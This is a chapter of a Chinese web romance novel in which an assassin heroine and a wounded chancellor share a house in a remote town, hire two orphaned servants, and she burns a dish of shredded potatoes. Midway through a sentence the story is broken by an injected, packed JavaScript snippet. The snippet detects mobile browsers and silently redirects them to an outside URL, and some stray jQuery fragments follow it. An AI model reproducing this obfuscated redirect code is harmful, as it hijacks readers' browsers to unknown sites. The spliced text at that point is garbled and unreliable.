43. 吞吃入腹

作品:《丞相非要以身相许

    第二日两人都在这过分安静的院子里睡到了日上三竿。


    这是白妙可的日常,但是陆瑜确是罕见地晚起。


    白妙可醒来发现自己睡在男人怀里,那人还紧紧握着自己的手,但是两人衣裳都完完整整地穿在身上。


    她轻叹一声,反思自己怎么能在这人身边睡得这么死,自己可是杀手啊,才不是什么依赖男人的娇妻!


    但是不得不说,这男人怀里睡得是真舒服啊,白妙可很快就原谅了自己的不警觉,默默欣赏起了美男沉睡图。


    直到发现男人的喉结不自觉滚动了一下。


    好啊,他居然在装睡!


    白妙可便起了捉弄他的心思,她先是将手抽出来撑在男人身侧。


    向着身下依旧双眸紧闭的男人俯身靠近,凑到他的耳畔吐气如兰道:“我要亲你了,你不说话就是默认了哦。”


    看着依旧不动如山的人,白妙可心道真是好定力。


    于是她继续俯身靠近,直到看见男人脸上新长出来的胡茬,直到两人的唇只有一指距离的时候,她才停了下来。


    就这么不上不下地等着,直到感觉紧闭双眼的男人的呼吸不再平稳,白妙可才准备起身离开。


    却一个不防被人拉近距离,本就近在咫尺的唇终于贴在一起。


    白妙可的惊呼被男人吞噬,憋了一晚上的陆瑜吻得比昨日更急更狠,恨不得将这折磨了自己一夜却不自知的人给吞吃入腹。


    不过在最初的措手不及过后,白妙可也逐渐不满足于被动承受,反而主动勾上他的脖子与他唇齿纠缠。


    两人互不相让,又共同沉沦。


    最后还是主动纠缠的陆瑜又主动撤离这个过分激烈的吻,否则他怕今日难以收场。


    重新躺到床上,白妙可感受着自己快速的心跳,想着今日要抓紧找几个下人把房间打扫一下,尤其是床上,可要好好收拾干净,真是耽误事儿!


    身旁的陆瑜却是陷入自责,他一向主张克己复礼洁身自好,即便是两情相悦也该经过父母之命,媒妁之言才可,自己这般冒犯,实在不合礼数。


    “抱歉。”他的嗓音平静,全然看不出方才的热情。


    “嗯?”白妙可疑惑他在道什么谦,继而反应过来:“哦没事的,本来我也嫌这床上不干净,不太方便……”


    听出她的未尽之言,陆瑜觉得自己刚平复的躁动又快要失控了,他深吸一口气,说道:“我先去打水。”


    白妙可心不在焉地应了一声,心里却在想他是不是不高兴了……


    直到她随便拢了拢头发起床,才发现男人已经坐在灶台旁边烧水了。


    她走过去同他说今日的计划,男人一一耐心回应,仿佛不曾生气,让白妙可有些摸不准他的想法了。


    纠结男人的想法不如练武。


    白妙可不再想这些,简单洗漱以后便在院中拿了根树枝练了一套剑法,她其实最爱用的还是鞭子,可惜上次在船上她的鞭子断了。


    练完剑看见陆瑜坐在树下的石凳上看着她出神,白妙可唇角一勾,又从地上捡了块石子,弹指间一片树叶被打落,悠悠落到陆瑜眼前。


    陆瑜回身,伸手接住那片树叶,发现叶子正中一个整齐的孔,可见石子穿过树叶的力道之大。


    他满心满眼都是面前一身布衣却在阳光下闪闪发光的少女,移不开眼。


    晨间锻炼结束,今日要做的事情还有很多,两人一同上街。


    先是雇了两个下人,是一对家破人亡的兄妹,十几岁的模样,在街头挂着一个牌子卖身,但求一口饱饭,白妙可看两人实在可怜,便将二人带着了。


    过程中陆瑜面无表情的看着却未置一词,白妙可却感觉到了他微妙的情绪变化,本来还有些弧度的嘴角抿成了一条直线。


    让二人去买些吃食,白妙可才问道:“怎么了?他们俩有问题吗?”


    “他们的父母是被官府害死的。”陆瑜沉声说道。


    “啊?他们不是说种田的时候被山匪所害吗?”白妙可疑惑。


    “山匪不会做无利可图的事情。”


    “那官府杀这农家百姓图什么?”


    “地。现在朝廷正在为百姓减轻赋税,地方官府能克扣的赋税便也随之减少了,于是便出现了官府直接抢占百姓土地的情况。”陆瑜解释道,这件事情他还在京城的时候便已听说,没想到朝廷还未给出对策,底下的小官能做的如此过分。


    白妙可有些生气:“如此行径朝廷竟然不管吗?”


    “自然要管,只是此处远离京城,又是偏僻小镇,天高皇帝远。”陆瑜一直以来也为此烦恼。


    闻言白妙可便懂了,就如同白家这开遍五湖四海的商号一般,难免会有一些商铺疏于管理导致掌柜做假账黑吃黑之类的情况。


    “老爷,太太,给您。”方才那个男孩一手提着一包糕点一手牵着妹妹走过来。


    “好,算是给你的跑腿钱了。”白妙可没接他递过来的几个铜板。


    “多谢太太!”男孩高兴地将铜板塞到妹妹手里,自己提着糕点跟着白妙可两人继续逛。


    随后他们又购置了许多日用品,米面肉菜,最后还去裁了几身衣服才打道回府。


    殊不知两人虽然很是低调,却这对新搬来的美貌少妇和她的赘婿已经在镇上出名了。


    毕竟这镇子少有生人前来,更别说是如此气度和长相的两人,是以街头巷尾饭后茶余的谈资很快便成了这两个神秘的外乡人。


    然而在两人新租的院子里却是一派热火朝天,白妙可买来的那两个兄妹,哥哥叫小风,妹妹叫小雨,两人都十分能干。


    花了不到两个时辰,原先落灰的房间便被打扰的一尘不染。


    白妙可既惊喜又满意,看着二人忙上忙下,陆瑜也在书房内不知做些什么,她百无聊赖地转悠到了厨房。


    今日买回来的食材都已经摆到了架子上,白妙可觉得自己也不能闲着,不如做个晚饭。


    虽然从未做过这些,但是白妙可也是见过揽月楼后厨做菜的,看上去也没有那么难。


    挽起袖子三下五除二的将菜备好,对自己的刀工十分满意,信心满满。


    结果不出一盏茶的功夫,厨房闹出滚滚浓烟,白妙可白白净净进去,灰头土脸出来。


    看见黑烟的其余三人也跑了过来,小风小雨一人提着一桶水,跟在最后的陆瑜脸色铁青。


    看见手足无措立在厨房门口的白妙可,他快步走过去拉着人打量了一圈,确定人没事儿只是有点脏,才开口问


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604240|167233||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    :“怎么回事儿?”


    白妙可讪讪地指了指还在冒烟的灶台,小声说:“炒菜呢。”


    屋内小风已经将火扑灭,小雨从锅中盛出一碟黑的看不出是什么的菜。


    陆瑜这才忍俊不禁问:“娘子这是炒的……木炭?”


    白妙可脸都憋红了,才勉强蹦出三个字:“土,豆,丝!”


    “哦~”陆瑜一个哦字拖的尾音极长,气得白妙可想打人。


    ……


    看着桌上虽然简单但是味道都还尚可的四菜一汤,白妙可陷入了沉思,接着有些好奇地问:“小风,你怎么会做这么多事情?”


    “父母不在了,我要照顾妹妹。”小风腼腆道。


    白妙可莫名想到一句话:穷人家的孩子早当家。


    她点点头,没暴露心中怜悯,只夸奖道:“真厉害,以后便跟我们一起吃饭就行。”


    男孩偷偷抬眼看了眼陆瑜的神色,没从他平静的脸上看出什么不满才应了一声,带着妹妹在桌子一边坐下。


    一顿饭还算融洽,知道陆瑜喜静,白妙可安排两人住在前院,晚上送药还有送水以后,好好休息便是。


    虽然今天将后院的三个房间都收拾出来了,但是两人默契的都未提分开睡的事情。


    于是主屋右侧的房间便作为了盥洗室,左侧房间则当作书房。


    白妙可已经记不清自己有多久没有舒舒服服泡个澡了,整个人泡在温热的水中,开始想念家里那白玉做的大汤池和各色各样的香膏凝露。


    叹了口气,她趴在浴桶边上想着自己最初的计划:去江南调查母亲的身世,找寻一下自己可能存在的外祖家。


    怎么就成了现在这样了!


    真是被陆瑜给耽误了啊,她暗道男色误人,觉得自己这顶级杀手陪他窝在小镇养伤真是亏本了。


    作为一个精明的商人,她从不做赔本买卖,于是她很快便想好了怎么讨回自己对他的救命之恩……


    等她收拾好,擦着头发回屋的时候正好碰到陆瑜坐在床边自己换药。


    白妙可立刻上前仔细打量了一下他的伤口,虽然已经开始结痂了,但是看上去仿佛随时都会流血一般。


    盯着看了半天,白妙可注意到男人白皙的身上仿佛透着些粉,抬头便发现这粉一直蔓延到了男人的耳垂。


    也太容易害羞了吧!白妙可在心里尖叫,面上却是一本正经地说:“你还是好好躺着休息吧。”


    陆瑜点头嗯了一声,动作迅速地穿好衣服,为她让出地方。


    白妙可穿着寝衣躺到里侧,发现今晚床上准备了两床被子,她默默扯过一条被子蒙住脑袋,在被子里放肆地露出一个笑容。


    丞相大人最好快些把伤养好,她可要迫不及待连本带利地收取自己救命之恩的报酬了!


    这般想着,等她睡着的时候,居然梦见了陆瑜。


    是他高中状元打马游街那日。


    一身红色官服的少年郎意气风发,坐在高头大马上穿街而过,许多姑娘芳心暗许,鲜花手帕相掷。


    可是这位状元郎走过花丛片叶不沾身,只有一朵小小的栀子花,带着些劲风直直插入他高高竖起的玉冠之间,平添几分风流。


    翩翩少年郎抬头看来,一眼万年。